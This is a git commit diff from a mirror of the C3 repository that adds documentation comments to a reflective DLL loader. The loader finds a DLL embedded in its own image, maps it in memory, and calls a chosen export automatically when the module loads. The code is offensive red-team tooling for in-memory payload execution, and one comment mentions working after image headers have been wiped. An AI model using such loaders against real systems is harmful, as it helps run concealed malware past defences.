mirror of https://github.com/infosecn1nja/C3.git
Add doxygen comments
parent
cd5962409a
commit
cfa8782ebf
|
@ -6,8 +6,11 @@
|
||||||
|
|
||||||
// Payload form [16 byte guid][1 byte terminator 0xff][4 byte size][body][4 byte size][ExportName (null terminated)]
|
// Payload form [16 byte guid][1 byte terminator 0xff][4 byte size][body][4 byte size][ExportName (null terminated)]
|
||||||
|
|
||||||
static char* FindStartOfResource(void* startofImage)
|
/// Find start of embedded resource
|
||||||
|
/// @param startOfImage -
|
||||||
|
inline char* FindStartOfResource(void* startofImage)
|
||||||
{
|
{
|
||||||
|
// Don't use size of image to limit the search to prevent incorrect boundaries searching even if image headers have been wiped
|
||||||
__try
|
__try
|
||||||
{
|
{
|
||||||
for (char* p = (char*) startofImage;; ++p)
|
for (char* p = (char*) startofImage;; ++p)
|
||||||
|
@ -21,27 +24,41 @@ static char* FindStartOfResource(void* startofImage)
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static size_t GetPayloadSize(void* startOfResource)
|
/// Get size of payload (first embedded data)
|
||||||
|
/// @param start of embedded resource
|
||||||
|
/// @returns size of payload
|
||||||
|
inline size_t GetPayloadSize(void* startOfResource)
|
||||||
{
|
{
|
||||||
return *((int32_t*)((char*) startOfResource + 17)); // 16 bytes guid, 0xff terminator
|
return *((int32_t*)((char*) startOfResource + 17)); // 16 bytes guid, 0xff terminator
|
||||||
}
|
}
|
||||||
|
|
||||||
static char* GetPayload(void* startOfResource)
|
/// Get payload data
|
||||||
|
/// @param start of embedded resource
|
||||||
|
/// @returns pointer to beginning of payload
|
||||||
|
inline char* GetPayload(void* startOfResource)
|
||||||
{
|
{
|
||||||
return (char*) startOfResource + 21; //16 bytes guid, 0xff terminator, four bytes size.
|
return (char*) startOfResource + 21; //16 bytes guid, 0xff terminator, four bytes size.
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Get pointer past payload
|
||||||
|
/// @param start of embedded resource
|
||||||
|
/// @returns pointer past payload end
|
||||||
inline void* GetPayloadEnd(void* startOfResource)
|
inline void* GetPayloadEnd(void* startOfResource)
|
||||||
{
|
{
|
||||||
return GetPayload(startOfResource) + GetPayloadSize(startOfResource);
|
return GetPayload(startOfResource) + GetPayloadSize(startOfResource);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Get size of export name buffer (second embedded data)
|
||||||
|
/// @param start of embedded resource
|
||||||
inline size_t GetExportNameSize(void* startOfResource)
|
inline size_t GetExportNameSize(void* startOfResource)
|
||||||
{
|
{
|
||||||
return *(int32_t*)(GetPayloadEnd(startOfResource));
|
return *(int32_t*)(GetPayloadEnd(startOfResource));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Get export name buffer(second embedded data)
|
||||||
|
/// @param start of embedded resource
|
||||||
|
/// @returns Exported function name (null terminated)
|
||||||
inline const char* GetExportName(void* startOfResource)
|
inline const char* GetExportName(void* startOfResource)
|
||||||
{
|
{
|
||||||
return (char*)GetPayloadEnd(startOfResource) + 4; // 4 bytes size
|
return (char*)GetPayloadEnd(startOfResource) + 4; // this buffer's size - 4 bytes
|
||||||
}
|
}
|
||||||
|
|
|
@ -16,8 +16,9 @@ T Rva2Va(V base, U rva)
|
||||||
|
|
||||||
#define RVA(type, base, rva) Rva2Va<type>(base, rva)
|
#define RVA(type, base, rva) Rva2Va<type>(base, rva)
|
||||||
|
|
||||||
static inline size_t
|
|
||||||
AlignValueUp(size_t value, size_t alignment) {
|
static inline size_t AlignValueUp(size_t value, size_t alignment)
|
||||||
|
{
|
||||||
return (value + alignment - 1) & ~(alignment - 1);
|
return (value + alignment - 1) & ~(alignment - 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -31,7 +32,7 @@ typedef struct
|
||||||
#pragma warning(pop)
|
#pragma warning(pop)
|
||||||
|
|
||||||
typedef BOOL(WINAPI* DllEntryPoint)(HINSTANCE, DWORD, LPVOID);
|
typedef BOOL(WINAPI* DllEntryPoint)(HINSTANCE, DWORD, LPVOID);
|
||||||
typedef void (*EXPORTFUNC)(void);
|
typedef void (*ExportFunc)(void);
|
||||||
|
|
||||||
struct ModuleData
|
struct ModuleData
|
||||||
{
|
{
|
||||||
|
@ -62,7 +63,9 @@ LONG CALLBACK PatchCppException(PEXCEPTION_POINTERS exceptionInfo)
|
||||||
return EXCEPTION_CONTINUE_SEARCH;
|
return EXCEPTION_CONTINUE_SEARCH;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Entry point of the application.
|
/// Load PE file image and call
|
||||||
|
/// @param dllData - pointer to PE file in memory
|
||||||
|
/// @param callExport - name of an exported function to call. Function must have a signature of ExportFunc [typedef void (*ExportFunc)(void)]
|
||||||
int LoadPe(void* dllData, std::string_view callExport)
|
int LoadPe(void* dllData, std::string_view callExport)
|
||||||
{
|
{
|
||||||
// Loader code based on Shellcode Reflective DLL Injection by Nick Landers https://github.com/monoxgas/sRDI
|
// Loader code based on Shellcode Reflective DLL Injection by Nick Landers https://github.com/monoxgas/sRDI
|
||||||
|
@ -345,7 +348,7 @@ int LoadPe(void* dllData, std::string_view callExport)
|
||||||
|
|
||||||
if (expNameStr == callExport && expOrdinal)
|
if (expNameStr == callExport && expOrdinal)
|
||||||
{
|
{
|
||||||
auto exportFunc = RVA(EXPORTFUNC, baseAddress, *(PDWORD)(baseAddress + exportDir->AddressOfFunctions + (*expOrdinal * 4)));
|
auto exportFunc = RVA(ExportFunc, baseAddress, *(PDWORD)(baseAddress + exportDir->AddressOfFunctions + (*expOrdinal * 4)));
|
||||||
exportFunc();
|
exportFunc();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -356,12 +359,18 @@ int LoadPe(void* dllData, std::string_view callExport)
|
||||||
// STEP 11 Cleanup
|
// STEP 11 Cleanup
|
||||||
#if defined _M_X64
|
#if defined _M_X64
|
||||||
RemoveVectoredExceptionHandler(veh);
|
RemoveVectoredExceptionHandler(veh);
|
||||||
|
if (pImageEntryException->Size > 0)
|
||||||
|
{
|
||||||
|
auto functionTable = Rva2Va<PRUNTIME_FUNCTION>(baseAddress, pImageEntryException->VirtualAddress);
|
||||||
|
RtlAddFunctionTable(functionTable);
|
||||||
|
}
|
||||||
#endif
|
#endif
|
||||||
// TODO cleanup after RtlAddFunctionTable
|
|
||||||
VirtualFree((void*)baseAddress, alignedImageSize, MEM_RELEASE);
|
VirtualFree((void*)baseAddress, alignedImageSize, MEM_RELEASE);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Execute dll embedded as a resource [see ResourceGenerator]
|
||||||
|
/// @param baseAddress of this Module
|
||||||
void ExecResource(void* baseAddress)
|
void ExecResource(void* baseAddress)
|
||||||
{
|
{
|
||||||
if (auto resource = FindStartOfResource(baseAddress))
|
if (auto resource = FindStartOfResource(baseAddress))
|
||||||
|
@ -373,6 +382,7 @@ void ExecResource(void* baseAddress)
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef NDEBUG
|
#ifdef NDEBUG
|
||||||
|
/// Entry point for this module. Executes the embedded resource on process attach
|
||||||
BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID)
|
BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID)
|
||||||
{
|
{
|
||||||
// Indicate successful load of the library.
|
// Indicate successful load of the library.
|
||||||
|
@ -383,6 +393,7 @@ BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID)
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
|
|
||||||
|
/// Debug version of entry point, executes the embedded resource
|
||||||
int main()
|
int main()
|
||||||
{
|
{
|
||||||
ExecResource(GetModuleHandle(NULL));
|
ExecResource(GetModuleHandle(NULL));
|
||||||
|
|
|
@ -2,15 +2,26 @@
|
||||||
|
|
||||||
namespace MWR::Loader::UnexportedWinApi
|
namespace MWR::Loader::UnexportedWinApi
|
||||||
{
|
{
|
||||||
|
/// Get size of image from NT headers
|
||||||
|
/// @param baseAddress - base address of PE file image
|
||||||
|
/// @returns size of image specified image
|
||||||
inline DWORD GetSizeOfImage(UINT_PTR baseAddress)
|
inline DWORD GetSizeOfImage(UINT_PTR baseAddress)
|
||||||
{
|
{
|
||||||
auto ntHeader = baseAddress + ((PIMAGE_DOS_HEADER)baseAddress)->e_lfanew;
|
auto ntHeader = baseAddress + ((PIMAGE_DOS_HEADER)baseAddress)->e_lfanew;
|
||||||
return reinterpret_cast<PIMAGE_NT_HEADERS>(ntHeader)->OptionalHeader.SizeOfImage;
|
return reinterpret_cast<PIMAGE_NT_HEADERS>(ntHeader)->OptionalHeader.SizeOfImage;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Wrapper around private ntdll!LdrpHandleTlsData
|
||||||
|
/// Initializes static data from .tls section
|
||||||
|
/// @param baseAddress of PE file image
|
||||||
|
/// @returns value returned from ntdll!LdrpHandleTlsData
|
||||||
DWORD LdrpHandleTlsData(void* baseAddress);
|
DWORD LdrpHandleTlsData(void* baseAddress);
|
||||||
|
|
||||||
#ifdef _M_IX86
|
#ifdef _M_IX86
|
||||||
|
/// Wrapper around private ntdll!RtlInsertInvertedFunctionTable
|
||||||
|
/// Adds inverted function table required for Exception Handling
|
||||||
|
/// @param baseAddress of PE file image
|
||||||
|
/// @param sizeOfImage size of PE file image
|
||||||
void RtlInsertInvertedFunctionTable(void* baseAddress, DWORD sizeOfImage);
|
void RtlInsertInvertedFunctionTable(void* baseAddress, DWORD sizeOfImage);
|
||||||
#endif // _M_IX86
|
#endif // _M_IX86
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue